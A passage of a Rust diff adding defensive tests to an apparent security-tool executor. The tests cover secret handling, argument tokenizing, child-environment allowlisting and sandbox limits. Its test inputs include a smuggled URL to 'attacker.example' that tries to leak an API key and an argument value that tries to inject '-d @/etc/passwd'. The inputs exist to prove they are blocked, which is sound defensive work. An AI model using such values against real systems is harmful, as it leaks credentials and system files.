"unexpected: {err}" + ); + + // Several unknown names: the first in sorted order is named, so the + // message is deterministic regardless of map iteration order. + args.insert("zz".to_string(), "1".to_string()); + args.insert("aa".to_string(), "1".to_string()); + let err = dry_run(&m, &args).unwrap_err().to_string(); + assert!(err.contains("unknown argument 'aa'"), "unexpected: {err}"); + + // Only declared names: still fine. + let mut ok = HashMap::new(); + ok.insert("target".to_string(), "10.0.1.1".to_string()); + assert!(dry_run(&m, &ok).is_ok()); + } + #[test] fn test_dry_run() { let m = minimal_manifest(); @@ -1109,18 +2234,119 @@ mod tests { assert!(result.command.contains("10.0.1.1")); } + /// Serializes tests that touch process-global environment variables + /// (`TOOLCLAD_SECRET_*`, `TOOLCLAD_SECRETS_FILE`, `TOOLCLAD_EVIDENCE_DIR`, + /// `TOOLCLAD_KILL_GRACE_MS`, the sentinels) or spawn a child. + static ENV_LOCK: std::sync::Mutex<()> = std::sync::Mutex::new(()); + + fn env_lock() -> std::sync::MutexGuard<'static, ()> { + ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner()) + } + #[test] fn test_inject_template_vars_with_env() { + let _guard = env_lock(); std::env::set_var("TOOLCLAD_SECRET_API_KEY", "test-key-123"); - let result = inject_template_vars("Bearer {_secret:api_key}").unwrap(); + let result = + inject_template_vars("Bearer {_secret:api_key}", &mut SecretSource::default()).unwrap(); + std::env::remove_var("TOOLCLAD_SECRET_API_KEY"); assert_eq!(result, "Bearer test-key-123"); + } + + /// An `[http]` manifest whose URL, a header and the body all echo the + /// `target` argument, and whose Authorization header carries a secret. + fn http_manifest() -> Manifest { + let mut m = minimal_manifest(); + m.command = CommandDef::default(); + m.http = Some(HttpDef { + method: "POST".to_string(), + url: "https://api.example.com/{target}".to_string(), + headers: HashMap::from([ + ( + "Authorization".to_string(), + "Bearer {_secret:api_key}".to_string(), + ), + ("X-Echo".to_string(), "{target}".to_string()), + ]), + body_template: Some(r#"{"q":"{target}"}"#.to_string()), + success_status: vec![], + error_status: vec![], + }); + m + } + + #[test] + fn test_http_secrets_expand_on_template_before_args() { + let _guard = env_lock(); + std::env::set_var("TOOLCLAD_SECRET_API_KEY", "s3cr3t-value"); + let m = http_manifest(); + // Validation is bypassed on purpose: the `url` validator rejects `{`, + // but the ordering must hold even for a value that got this far. + let smuggle = "https://attacker.example/?k={_secret:api_key}"; + let validated = HashMap::from([("target".to_string(), smuggle.to_string())]); + let built = build_http_request(&m, &validated); + std::env::remove_var("TOOLCLAD_SECRET_API_KEY"); + let parts = built.unwrap(); + + assert!( + !parts.url.contains("s3cr3t-value"), + "secret leaked into url: {}", + parts.url + ); + assert_eq!( + parts.url, + format!("https://api.example.com/{}", percent_encode(smuggle)) + ); + let header = |name: &str| { + parts + .headers + .iter() + .find(|(k, _)| k == name) + .map(|(_, v)| v.clone()) + .unwrap_or_else(|| panic!("missing header {name}")) + }; + // The manifest's own reference still expands... + assert_eq!(header("Authorization"), "Bearer s3cr3t-value"); + // ...but an argument echoed into a header or the body stays literal. + assert_eq!(header("X-Echo"), smuggle); + let body = parts.body.unwrap(); + assert!( + !body.contains("s3cr3t-value"), + "secret leaked into body: {body}" + ); + assert!(body.contains("{_secret:api_key}"), "{body}"); + } + + #[test] + fn test_http_missing_template_secret_fails_before_args() { + let _guard = env_lock(); std::env::remove_var("TOOLCLAD_SECRET_API_KEY"); + let m = http_manifest(); + let validated = HashMap::from([("target".to_string(), "https://example.com/".to_string())]); + let err = build_http_request(&m, &validated).unwrap_err().to_string(); + assert!(err.contains("TOOLCLAD_SECRET_API_KEY"), "{err}"); + } + + #[test] + fn test_execute_rejects_url_arg_carrying_secret_reference() { + // End to end through `execute`: the `url` validator refuses the value + // before any request is built, so nothing touches the network here. + let mut m = http_manifest(); + m.http.as_mut().unwrap().headers.clear(); + m.args.get_mut("target").unwrap().type_name = "url".to_string(); + let args = HashMap::from([( + "target".to_string(), + "https://attacker.example/?k={_secret:api_key}".to_string(), + )]); + let err = execute(&m, &args).unwrap_err().to_string(); + assert!(err.contains("metacharacter"), "{err}"); } #[test] fn test_inject_template_vars_missing_secret() { + let _guard = env_lock(); std::env::remove_var("TOOLCLAD_SECRET_MISSING"); - let result = inject_template_vars("token={_secret:missing}"); + let result = inject_template_vars("token={_secret:missing}", &mut SecretSource::default()); assert!(result.is_err()); let err = result.unwrap_err().to_string(); assert!(err.contains("TOOLCLAD_SECRET_MISSING")); @@ -1128,7 +2354,11 @@ mod tests { #[test] fn test_inject_template_vars_no_secrets() { - let result = inject_template_vars("plain text with {normal} placeholders").unwrap(); + let result = inject_template_vars( + "plain text with {normal} placeholders", + &mut SecretSource::default(), + ) + .unwrap(); assert_eq!(result, "plain text with {normal} placeholders"); } @@ -1203,4 +2433,1528 @@ mod tests { let result = split_csv_line(r#""he said ""hi""",val"#, ','); assert_eq!(result, vec![r#"he said "hi""#, "val"]); } + + // ---- W1: tokenizer ------------------------------------------------- + + #[test] + fn test_tokenize_template_basic() { + assert_eq!( + tokenize_template("nmap {_scan_type_flags} {target}").unwrap(), + vec!["nmap", "{_scan_type_flags}", "{target}"] + ); + assert_eq!(tokenize_template("").unwrap(), Vec::::new()); + assert_eq!(tokenize_template(" ").unwrap(), Vec::::new()); + } + + #[test] + fn test_tokenize_template_quotes_and_escapes() { + assert_eq!( + tokenize_template(r#"curl -H 'X: y' -w "a b" c\ d"#).unwrap(), + vec!["curl", "-H", "X: y", "-w", "a b", "c d"] + ); + // Empty quoted string is a real (empty) token. + assert_eq!(tokenize_template("echo ''").unwrap(), vec!["echo", ""]); + // Backslash is literal inside single quotes. + assert_eq!( + tokenize_template(r"echo '\n'").unwrap(), + vec!["echo", r"\n"] + ); + } + + #[test] + fn test_tokenize_template_rejects_placeholder_inside_quotes() { + let err = tokenize_template("curl -H '{headers}' {url}") + .unwrap_err() + .to_string(); + assert!(err.contains("inside quotes"), "unexpected: {err}"); + assert!(err.contains("use exec = [...]"), "unexpected: {err}"); + assert!(tokenize_template(r#"curl -H "X: {value}""#).is_err()); + } + + #[test] + fn test_tokenize_template_allows_brace_escape_inside_quotes() { + assert_eq!( + tokenize_template("curl -w '%{{http_code}}' {url}").unwrap(), + vec!["curl", "-w", "%{{http_code}}", "{url}"] + ); + } + + #[test] + fn test_tokenize_template_rejects_unbalanced_quotes_and_trailing_backslash() { + let err = tokenize_template("echo 'oops").unwrap_err().to_string(); + assert!(err.contains("unbalanced quote"), "unexpected: {err}"); + assert!(tokenize_template("echo \"oops").is_err()); + let err = tokenize_template("echo x\\").unwrap_err().to_string(); + assert!(err.contains("trailing backslash"), "unexpected: {err}"); + } + + #[test] + fn test_placeholder_names_skip_escapes() { + assert_eq!(placeholder_names("%{{http_code}}"), Vec::::new()); + assert_eq!(placeholder_names("{a}-{{x}}-{b}"), vec!["a", "b"]); + assert_eq!(exact_placeholder("{target}"), Some("target")); + assert_eq!(exact_placeholder("x{target}"), None); + assert_eq!(exact_placeholder("{{target}}"), None); + } + + // ---- W1: substitution ---------------------------------------------- + + fn exec_manifest(exec: &[&str]) -> Manifest { + let mut m = minimal_manifest(); + m.command.template = None; + m.command.exec = Some(exec.iter().map(|s| s.to_string()).collect()); + m.command.exec_was_declared = true; + m + } + + #[test] + fn test_value_with_space_stays_one_argv_element() { + let mut m = exec_manifest(&["echo", "--name", "{label}", "{target}"]); + m.args.insert( + "label".to_string(), + ArgDef { + type_name: "string".to_string(), + allow_whitespace: true, + ..Default::default() + }, + ); + let args = HashMap::from([ + ("label".to_string(), "X: y -d @/etc/passwd".to_string()), + ("target".to_string(), "10.0.1.1".to_string()), + ]); + let argv = build_command_argv(&m, &args).unwrap(); + assert_eq!(argv.len(), 4, "argv: {argv:?}"); + assert_eq!( + argv, + vec!["echo", "--name", "X: y -d @/etc/passwd", "10.0.1.1"] + ); + } + + #[test] + fn test_empty_sole_placeholder_is_dropped() { + let mut m = exec_manifest(&["echo", "{extra}", "--x={extra}", "{target}"]); + m.args.insert( + "extra".to_string(), + ArgDef { + type_name: "string".to_string(), + default: Some(toml::Value::String(String::new())), + ..Default::default() + }, + ); + let args = HashMap::from([("target".to_string(), "10.0.1.1".to_string())]); + let argv = build_command_argv(&m, &args).unwrap(); + // `{extra}` alone vanishes; `--x={extra}` keeps its literal text. + assert_eq!(argv, vec!["echo", "--x=", "10.0.1.1"]); + } + + #[test] + fn test_unresolved_placeholder_is_build_error() { + let m = exec_manifest(&["echo", "{nope}"]); + let args = HashMap::from([("target".to_string(), "10.0.1.1".to_string())]); + let err = build_command_argv(&m, &args).unwrap_err().to_string(); + assert!( + err.contains("unresolved placeholder '{nope}' in command"), + "unexpected: {err}" + ); + } + + #[test] + fn test_literal_brace_escape_in_exec() { + let m = exec_manifest(&["echo", "-w", "%{{http_code}}", "{target}"]); + let args = HashMap::from([("target".to_string(), "10.0.1.1".to_string())]); + let argv = build_command_argv(&m, &args).unwrap(); + assert_eq!(argv, vec!["echo", "-w", "%{http_code}", "10.0.1.1"]); + } + + #[test] + fn test_mapping_splices_tokens_and_legacy_alias_removed() { + let mut m = exec_manifest(&["echo", "{_scan_type_flags}", "{target}"]); + m.args.insert( + "scan_type".to_string(), + ArgDef { + type_name: "enum".to_string(), + allowed: Some(vec!["ping".to_string(), "service".to_string()]), + ..Default::default() + }, + ); + m.command.mappings = Some(HashMap::from([( + "scan_type".to_string(), + HashMap::from([ + ("ping".to_string(), "-sn -PE".to_string()), + ("service".to_string(), "-sT -sV".to_string()), + ]), + )])); + let args = HashMap::from([ + ("target".to_string(), "10.0.1.1".to_string()), + ("scan_type".to_string(), "service".to_string()), + ]); + let argv = build_command_argv(&m, &args).unwrap(); + assert_eq!(argv, vec!["echo", "-sT", "-sV", "10.0.1.1"]); + + // The legacy `_` short alias no longer exists. + m.command.exec = Some(vec![ + "echo".into(), + "{_scan_type}".into(), + "{target}".into(), + ]); + let err = build_command_argv(&m, &args).unwrap_err().to_string(); + assert!( + err.contains("unresolved placeholder '{_scan_type}'"), + "unexpected: {err}" + ); + + // A trusted var embedded in a larger token is refused, never joined. + m.command.exec = Some(vec!["echo".into(), "--f={_scan_type_flags}".into()]); + let err = build_command_argv(&m, &args).unwrap_err().to_string(); + assert!(err.contains("whole token"), "unexpected: {err}"); + + // A value with no mapping entry is a build error, not a silent drop. + m.command.exec = Some(vec!["echo".into(), "{_scan_type_flags}".into()]); + let bad = HashMap::from([ + ("target".to_string(), "10.0.1.1".to_string()), + ("scan_type".to_string(), "stealth".to_string()), + ]); + let err = build_command_argv(&m, &bad).unwrap_err().to_string(); + assert!(err.contains("no mapping"), "unexpected: {err}"); + } + + #[test] + fn test_conditional_tokens_substituted_individually() { + let mut m = exec_manifest(&["echo", "{_header_flags}", "{target}"]); + m.args.insert( + "headers".to_string(), + ArgDef { + type_name: "string".to_string(), + allow_whitespace: true, + default: Some(toml::Value::String(String::new())), + ..Default::default() + }, + ); + m.command.conditionals = Some(HashMap::from([( + "header_flags".to_string(), + ConditionalDef { + when: "headers != ''".to_string(), + template: "-H {headers}".to_string(), + tokens: Vec::new(), + }, + )])); + + let args = HashMap::from([ + ("target".to_string(), "10.0.1.1".to_string()), + ("headers".to_string(), "X-Trace: abc".to_string()), + ]); + let argv = build_command_argv(&m, &args).unwrap(); + assert_eq!(argv, vec!["echo", "-H", "X-Trace: abc", "10.0.1.1"]); + + // Condition false: the conditional contributes nothing. + let args = HashMap::from([("target".to_string(), "10.0.1.1".to_string())]); + let argv = build_command_argv(&m, &args).unwrap(); + assert_eq!(argv, vec!["echo", "10.0.1.1"]); + } + + #[test] + fn test_end_of_options_inserted_before_first_user_arg() { + let mut m = exec_manifest(&["echo", "-v", "{_scan_type_flags}", "{target}", "{extra}"]); + m.command.end_of_options = Some("--".to_string()); + m.args.insert( + "scan_type".to_string(), + ArgDef { + type_name: "enum".to_string(), + allowed: Some(vec!["ping".to_string()]), + ..Default::default() + }, + ); + m.args.insert( + "extra".to_string(), + ArgDef { + type_name: "string".to_string(), + default: Some(toml::Value::String(String::new())), + ..Default::default() + }, + ); + m.command.mappings = Some(HashMap::from([( + "scan_type".to_string(), + HashMap::from([("ping".to_string(), "-sn -PE".to_string())]), + )])); + let args = HashMap::from([ + ("target".to_string(), "10.0.1.1".to_string()), + ("scan_type".to_string(), "ping".to_string()), + ("extra".to_string(), "more".to_string()), + ]); + let argv = build_command_argv(&m, &args).unwrap(); + // `--` lands before the first user-arg token, not before mapping + // output, and is inserted exactly once. + assert_eq!( + argv, + vec!["echo", "-v", "-sn", "-PE", "--", "10.0.1.1", "more"] + ); + + // No user-arg-only token: nothing inserted. + m.command.exec = Some(vec!["echo".into(), "{_scan_type_flags}".into()]); + let argv = build_command_argv(&m, &args).unwrap(); + assert_eq!(argv, vec!["echo", "-sn", "-PE"]); + + // Anything but "--" is refused. + m.command.end_of_options = Some("-".to_string()); + assert!(build_command_argv(&m, &args).is_err()); + } + + #[test] + fn test_injected_vars_cannot_be_shadowed_by_args() { + let m = exec_manifest(&["echo", "{_scan_id}", "{target}"]); + let args = HashMap::from([ + ("target".to_string(), "10.0.1.1".to_string()), + ("_scan_id".to_string(), "forged".to_string()), + ]); + let argv = build_command_argv(&m, &args).unwrap(); + assert_ne!(argv[1], "forged"); + assert_eq!(argv[2], "10.0.1.1"); + } + + #[test] + fn test_executor_hatch_takes_precedence_and_is_strict() { + // executor + declared exec + allow_whitespace: the executor wins, and + // its validation is strict, so the spaced value is refused. + let mut m = exec_manifest(&["echo", "{label}", "{target}"]); + m.command.executor = Some("/usr/bin/true".to_string()); + m.args.insert( + "label".to_string(), + ArgDef { + type_name: "string".to_string(), + allow_whitespace: true, + ..Default::default() + }, + ); + let args = HashMap::from([ + ("label".to_string(), "a b".to_string()), + ("target".to_string(), "10.0.1.1".to_string()), + ]); + let err = dry_run(&m, &args).unwrap_err().to_string(); + assert!(err.contains("whitespace"), "unexpected: {err}"); + + let ok = HashMap::from([ + ("label".to_string(), "ab".to_string()), + ("target".to_string(), "10.0.1.1".to_string()), + ]); + let dry = dry_run(&m, &ok).unwrap(); + assert_eq!(dry.command, "/usr/bin/true (custom executor)"); + } + + #[test] + fn test_template_mode_rejects_whitespace_even_with_allow_whitespace() { + // A manifest built from a template (not a declared exec) is strict: + // the executor passes exec_mode = false, so the value is refused. + let mut m = minimal_manifest(); + m.command.template = Some("echo {label} {target}".to_string()); + m.args.insert( + "label".to_string(), + ArgDef { + type_name: "string".to_string(), + allow_whitespace: true, + ..Default::default() + }, + ); + assert!(!m.command.exec_was_declared); + let args = HashMap::from([ + ("label".to_string(), "a b".to_string()), + ("target".to_string(), "10.0.1.1".to_string()), + ]); + let err = dry_run(&m, &args).unwrap_err().to_string(); + assert!(err.contains("whitespace"), "unexpected: {err}"); + } + + // ---- W6 / W8: spawn path and timeouts -------------------------------- + + /// A per-test evidence root under the temp dir, with the env lock held. + /// Sets `TOOLCLAD_EVIDENCE_DIR` and a short kill grace; undone on drop. + struct SpawnEnv { + root: PathBuf, + _guard: std::sync::MutexGuard<'static, ()>, + } + + impl SpawnEnv { + fn new() -> Self { + let guard = env_lock(); + let root = std::env::temp_dir().join(format!( + "toolclad-spawn-test-{}", + uuid::Uuid::new_v4().simple() + )); + std::fs::create_dir(&root).unwrap(); + std::env::set_var("TOOLCLAD_EVIDENCE_DIR", root.join("evidence")); + std::env::set_var("TOOLCLAD_KILL_GRACE_MS", "200"); + Self { + root, + _guard: guard, + } + } + + fn evidence(&self) -> PathBuf { + self.root.join("evidence") + } + } + + impl Drop for SpawnEnv { + fn drop(&mut self) { + std::env::remove_var("TOOLCLAD_EVIDENCE_DIR"); + std::env::remove_var("TOOLCLAD_KILL_GRACE_MS"); + let _ = std::fs::remove_dir_all(&self.root); + } + } + + fn toml_str(s: &str) -> String { + toml::Value::String(s.to_string()).to_string() + } + + /// Load a manifest whose command is `exec`, with optional extra TOML + /// appended to `[tool]` and to the document. + fn spawn_manifest(binary: &str, exec: &[&str], tool_extra: &str, extra: &str) -> Manifest { + let tool_extra = if tool_extra.contains("timeout_seconds") { + tool_extra.to_string() + } else { + format!("timeout_seconds = 10\n{tool_extra}") + }; + let exec: Vec = exec.iter().map(|e| toml_str(e)).collect(); + crate::parse_manifest(&format!( + "[tool]\nname = \"spawn_test\"\nversion = \"1.0.0\"\nbinary = {}\n\ + description = \"d\"\n{tool_extra}\n\n\ + [command]\nexec = [{}]\n\n[output]\nformat = \"text\"\n\n{extra}", + toml_str(binary), + exec.join(", ") + )) + .unwrap_or_else(|e| panic!("manifest should load: {e}")) + } + + fn raw(env: &EvidenceEnvelope) -> String { + env.results["raw_output"].as_str().unwrap().to_string() + } + + fn env_names(output: &str) -> Vec { + output + .lines() + .filter_map(|l| l.split_once('=').map(|(k, _)| k.to_string())) + .collect() + } + + #[cfg(unix)] + fn mode_of(p: &Path) -> u32 { + use std::os::unix::fs::PermissionsExt; + std::fs::symlink_metadata(p).unwrap().permissions().mode() & 0o777 + } + + #[test] + fn test_child_env_is_allowlisted() { + let _env = SpawnEnv::new(); + std::env::set_var("TOOLCLAD_SECRET_LEAK", "sentinel"); + std::env::set_var("AWS_SECRET_ACCESS_KEY", "sentinel2"); + std::env::set_var("LD_PRELOAD", "/tmp/x"); + let m = spawn_manifest("printenv", &["printenv"], "", ""); + let result = execute(&m, &HashMap::new()); + std::env::remove_var("TOOLCLAD_SECRET_LEAK"); + std::env::remove_var("AWS_SECRET_ACCESS_KEY"); + std::env::remove_var("LD_PRELOAD"); + let out = raw(&result.unwrap()); + assert!(!out.contains("sentinel"), "{out}"); + assert!(!out.contains("/tmp/x"), "{out}"); + assert!( + out.lines().any(|l| l == format!("PATH={CHILD_PATH}")), + "{out}" + ); + for name in env_names(&out) { + assert!( + name == "PATH" || CHILD_ENV_PASSTHROUGH.contains(&name.as_str()), + "unexpected child variable {name}" + ); + } + } + + #[test] + fn test_executor_hatch_env_is_allowlisted() { + let _env = SpawnEnv::new(); + std::env::set_var("TOOLCLAD_SECRET_LEAK", "sentinel"); + std::env::set_var("AWS_SECRET_ACCESS_KEY", "sentinel2"); + std::env::set_var("LD_PRELOAD", "/tmp/x"); + let printenv = resolve_program("printenv").unwrap(); + let m = crate::parse_manifest(&format!( + "[tool]\nname = \"hatch\"\nversion = \"1.0.0\"\nbinary = \"printenv\"\n\ + description = \"d\"\n\n[args.target]\nposition = 1\nrequired = true\n\ + type = \"string\"\ndescription = \"t\"\n\n\ + [command]\nexecutor = {}\n\n[output]\nformat = \"text\"\n", + toml_str(&path_string(&printenv)) + )) + .unwrap(); + let args = HashMap::from([("target".to_string(), "abc".to_string())]); + let result = execute(&m, &args); + std::env::remove_var("TOOLCLAD_SECRET_LEAK"); + std::env::remove_var("AWS_SECRET_ACCESS_KEY"); + std::env::remove_var("LD_PRELOAD"); + let out = raw(&result.unwrap()); + assert!(!out.contains("sentinel"), "{out}"); + assert!(!out.contains("/tmp/x"), "{out}"); + assert!(out.lines().any(|l| l == "TOOLCLAD_ARG_TARGET=abc"), "{out}"); + assert!( + out.lines().any(|l| l == "TOOLCLAD_TOOL_NAME=hatch"), + "{out}" + ); + assert!( + out.lines().any(|l| l == format!("PATH={CHILD_PATH}")), + "{out}" + ); + let hatch = [ + "TOOLCLAD_SCAN_ID", + "TOOLCLAD_TOOL_NAME", + "TOOLCLAD_EVIDENCE_DIR", + "TOOLCLAD_OUTPUT_DIR", + ]; + let names = env_names(&out); + for h in hatch { + assert!(names.iter().any(|n| n == h), "missing {h}: {out}"); + } + for name in names { + assert!(!name.starts_with("TOOLCLAD_SECRET_"), "{name}"); + assert!( + name == "PATH" + || CHILD_ENV_PASSTHROUGH.contains(&name.as_str()) + || hatch.contains(&name.as_str()) + || name.starts_with("TOOLCLAD_ARG_"), + "unexpected child variable {name}" + ); + } + } + + #[test] + fn test_secret_names_are_filtered_from_child_env() { + // The filter holds even if a future edit routes a secret into `extra`. + let env = child_env(&[ + ("TOOLCLAD_SECRET_TOKEN".to_string(), "s".to_string()), + ("TOOLCLAD_ARG_SECRET_NAME".to_string(), "ok".to_string()), + ]); + assert!(env.iter().all(|(k, _)| !k.starts_with("TOOLCLAD_SECRET_"))); + assert!(env.iter().any(|(k, _)| k == "TOOLCLAD_ARG_SECRET_NAME")); + assert_eq!(env[0], ("PATH".to_string(), CHILD_PATH.into())); + } + + #[cfg(unix)] + fn write_secrets(dir: &Path, body: &str, mode: u32) -> PathBuf { + use std::os::unix::fs::PermissionsExt; + let p = dir.join(format!("secrets-{mode:o}.toml")); + std::fs::write(&p, body).unwrap(); + std::fs::set_permissions(&p, std::fs::Permissions::from_mode(mode)).unwrap(); + p + } + + #[cfg(unix)] + #[test] + fn test_secrets_file() { + let env = SpawnEnv::new(); + let good = write_secrets(&env.root, "api_key = \"from-file\"\n", 0o600); + std::env::set_var("TOOLCLAD_SECRETS_FILE", &good); + std::env::set_var("TOOLCLAD_SECRET_API_KEY", "from-env"); + std::env::set_var("TOOLCLAD_SECRET_OTHER", "env-only"); + + // The file wins over the environment variable for the same name, and + // the environment still serves names the file does not define. + let mut src = SecretSource::default(); + assert_eq!( + inject_template_vars("{_secret:api_key}/{_secret:other}", &mut src).unwrap(), + "from-file/env-only" + ); + // Read once per call: the cached file serves later placeholders. + std::fs::remove_file(&good).unwrap(); + assert_eq!(src.lookup("api_key").unwrap(), "from-file"); + + // A missing secret is still an error. + let err = inject_template_vars("{_secret:absent}", &mut src) + .unwrap_err() + .to_string(); + assert!(err.contains("TOOLCLAD_SECRET_ABSENT"), "{err}"); + + // A group/world-readable file is refused, naming the mode. + let loose = write_secrets(&env.root, "api_key = \"x\"\n", 0o644); + std::env::set_var("TOOLCLAD_SECRETS_FILE", &loose); + let err = inject_template_vars("{_secret:api_key}", &mut SecretSource::default()) + .unwrap_err() + .to_string(); + assert!(err.contains("mode 0644"), "{err}"); + assert!(err.contains("chmod 600"), "{err}"); + + // No placeholder, no file read. + assert!(inject_template_vars("plain", &mut SecretSource::default()).is_ok()); + + std::env::remove_var("TOOLCLAD_SECRETS_FILE"); + std::env::remove_var("TOOLCLAD_SECRET_API_KEY"); + std::env::remove_var("TOOLCLAD_SECRET_OTHER"); + } + + #[test] + fn test_bare_argv0_resolves_against_fixed_path() { + let _env = SpawnEnv::new(); + let echo = resolve_program("echo").unwrap(); + assert!(echo.is_absolute()); + assert!(CHILD_PATH + .split(':') + .any(|d| echo.parent() == Some(Path::new(d)))); + let m = spawn_manifest("echo", &["echo", "hi"], "", ""); + let env = execute(&m, &HashMap::new()).unwrap(); + assert_eq!(env.status, "success"); + assert_eq!(raw(&env), "hi\n"); + + let err = resolve_program("toolclad-no-such-binary") + .unwrap_err() + .to_string(); + assert!(err.contains("'toolclad-no-such-binary'"), "{err}"); + assert!(err.contains(CHILD_PATH), "{err}"); + } + + #[test] + fn test_stdin_is_dev_null() { + let _env = SpawnEnv::new(); + let m = spawn_manifest("cat", &["cat"], "", ""); + let start = Instant::now(); + let env = execute(&m, &HashMap::new()).unwrap(); + assert!(start.elapsed() < Duration::from_secs(5)); + assert_eq!(env.status, "success"); + assert_eq!(raw(&env), ""); + } + + #[test] + fn test_cwd_is_scratch_dir_removed_when_empty() { + let env = SpawnEnv::new(); + let m = spawn_manifest("pwd", &["pwd"], "", ""); + let out = execute(&m, &HashMap::new()).unwrap(); + let work = env.evidence().join(format!("{}-work", out.scan_id)); + assert_eq!(raw(&out).trim_end(), path_string(&work)); + assert!(!work.exists(), "an empty scratch dir is removed"); + } + + #[cfg(unix)] + #[test] + fn test_scratch_dir_kept_when_written_with_private_modes() { + let env = SpawnEnv::new(); + // `touch` writes a relative path: it lands in the scratch dir, which + // is then evidence and kept. umask 0077 makes the file 0600. + let m = spawn_manifest("touch", &["touch", "marker"], "", ""); + let out = execute(&m, &HashMap::new()).unwrap(); + assert_eq!(out.status, "success"); + let work = env.evidence().join(format!("{}-work", out.scan_id)); + assert_eq!(mode_of(&work), 0o700); + assert_eq!(mode_of(&work.join("marker")), 0o600); + assert_eq!(mode_of(&env.evidence()), 0o700); + } + + #[test] + fn test_evidence_paths_table() { + let env = SpawnEnv::new(); + let mut m = minimal_manifest(); + let p = EvidencePaths::new(&m, "1-abc".to_string()); + assert_eq!(p.evidence_dir, env.evidence()); + assert_eq!(p.output_dir, env.evidence().join("1-abc-test_tool")); + assert_eq!(p.output_file, p.output_dir.join("scan.txt")); + for (format, ext) in [ + ("xml", "xml"), + ("json", "json"), + ("csv", "csv"), + ("jsonl", "jsonl"), + ("text", "txt"), + ("other", "txt"), + ] { + m.output.as_mut().unwrap().format = format.to_string(); + let p = EvidencePaths::new(&m, "1-abc".to_string()); + assert_eq!(p.output_file, p.output_dir.join(format!("scan.{ext}"))); + } + m.tool.evidence = Some(EvidenceMeta { + output_dir: "{evidence_dir}/runs/{scan_id}".to_string(), + capture: false, + hash: "sha256".to_string(), + screenshots: false, + }); + let p = EvidencePaths::new(&m, "1-abc".to_string()); + assert_eq!(p.output_dir, env.evidence().join("runs").join("1-abc")); + + std::env::remove_var("TOOLCLAD_EVIDENCE_DIR"); + let p = EvidencePaths::new(&minimal_manifest(), "1-abc".to_string()); + assert_eq!( + p.evidence_dir, + std::env::temp_dir().join("toolclad-evidence") + ); + } + + #[test] + fn test_scan_id_shape_and_uniqueness() { + let a = new_scan_id(); + let b = new_scan_id(); + assert_ne!(a, b); + for id in [&a, &b] { + let (secs, rand) = id.split_once('-').unwrap(); + assert!(secs.parse::().is_ok(), "{id}"); + assert_eq!(rand.len(), 32, "{id}"); + assert!(rand.bytes().all(|c| c.is_ascii_hexdigit()), "{id}"); + } + } + + /// `RLIMIT_NPROC` counts every task of the user, not just the tool's, so + /// the 512 default can stop a threaded `dd` (uutils) on a busy host. Lift + /// it (capped at the hard limit) where the test is not about NPROC. + const DD_LIMITS: &str = "[tool.limits]\nnproc = 4194304\n"; + + #[cfg(unix)] + #[test] + fn test_output_dir_created_private_before_spawn() { + let env = SpawnEnv::new(); + // The tool writes `{_output_file}` itself; that only works if the + // directory exists before the spawn. + let m = spawn_manifest( + "dd", + &[ + "dd", + "if=/dev/zero", + "of={_output_file}", + "bs=16", + "count=1", + ], + "", + DD_LIMITS, + ); + let first = execute(&m, &HashMap::new()).unwrap(); + assert_eq!(first.status, "success", "{}", first.stderr); + let out_dir = env.evidence().join(format!("{}-spawn_test", first.scan_id)); + assert_eq!(mode_of(&out_dir), 0o700); + assert_eq!( + std::fs::metadata(out_dir.join("scan.txt")).unwrap().len(), + 16 + ); + + let second = execute(&m, &HashMap::new()).unwrap(); + assert_ne!(first.scan_id, second.scan_id); + + // A declared [tool.evidence] output_dir is honored. + let m = spawn_manifest( + "dd", + &[ + "dd", + "if=/dev/zero", + "of={_output_file}", + "bs=16", + "count=1", + ], + "", + "[tool.limits]\nnproc = 4194304\n\n[tool.evidence]\noutput_dir = \"{evidence_dir}/custom/{scan_id}\"\n", + ); + let env3 = execute(&m, &HashMap::new()).unwrap(); + let custom = env.evidence().join("custom").join(&env3.scan_id); + assert_eq!(mode_of(&custom), 0o700); + assert!(custom.join("scan.txt").exists()); + } + + #[cfg(unix)] + #[test] + fn test_symlinked_output_dir_is_refused() { + let env = SpawnEnv::new(); + std::fs::create_dir_all(env.evidence()).unwrap(); + let elsewhere = env.root.join("elsewhere"); + std::fs::create_dir(&elsewhere).unwrap(); + std::os::unix::fs::symlink(&elsewhere, env.evidence().join("fixed")).unwrap(); + let m = spawn_manifest( + "dd", + &[ + "dd", + "if=/dev/zero", + "of={_output_file}", + "bs=16", + "count=1", + ], + "", + "[tool.limits]\nnproc = 4194304\n\n[tool.evidence]\noutput_dir = \"{evidence_dir}/fixed\"\n", + ); + let err = execute(&m, &HashMap::new()).unwrap_err().to_string(); + assert!(err.contains("symlink"), "{err}"); + assert!(std::fs::read_dir(&elsewhere).unwrap().next().is_none()); + } + + /// `/proc/self/limits` row for `name`: (soft, hard). + #[cfg(target_os = "linux")] + fn limit_row(limits: &str, name: &str) -> (String, String) { + let line = limits + .lines() + .find(|l| l.starts_with(name)) + .unwrap_or_else(|| panic!("no {name} row in {limits}")); + let mut cols = line[name.len()..].split_whitespace(); + ( + cols.next().unwrap().to_string(), + cols.next().unwrap().to_string(), + ) + } + + #[cfg(target_os = "linux")] + #[test] + fn test_rlimits_and_umask_applied_in_child() { + let _env = SpawnEnv::new(); + let m = spawn_manifest( + "cat", + &["cat", "/proc/self/limits", "/proc/self/status"], + "", + "[tool.limits]\nfsize_bytes = 4096\ncpu_seconds = 7\n", + ); + let out = raw(&execute(&m, &HashMap::new()).unwrap()); + assert_eq!(limit_row(&out, "Max core file size").0, "0"); + assert_eq!(limit_row(&out, "Max file size").0, "4096"); + assert_eq!(limit_row(&out, "Max cpu time").0, "7"); + // Defaults, each capped at the inherited hard limit. + let nofile: u64 = limit_row(&out, "Max open files").0.parse().unwrap(); + assert!(nofile <= 1024, "{nofile}"); + assert!(out.lines().any(|l| l == "Umask:\t0077"), "{out}"); + } + + #[cfg(unix)] + #[test] + fn test_fsize_limit_stops_oversized_write() { + let env = SpawnEnv::new(); + let m = spawn_manifest( + "dd", + &[ + "dd", + "if=/dev/zero", + "of={_output_file}", + "bs=1024", + "count=8", + ], + "", + "[tool.limits]\nfsize_bytes = 4096\nnproc = 4194304\n", + ); + let out = execute(&m, &HashMap::new()).unwrap(); + assert_ne!(out.status, "success"); + let file = env + .evidence() + .join(format!("{}-spawn_test", out.scan_id)) + .join("scan.txt"); + assert!(std::fs::metadata(&file).unwrap().len() <= 4096); + } + + #[test] + fn test_kill_grace_parsing() { + let _guard = env_lock(); + for (v, ms) in [ + ("150", 150), + ("0", 0), + ("-5", DEFAULT_KILL_GRACE_MS), + ("abc", DEFAULT_KILL_GRACE_MS), + ("", 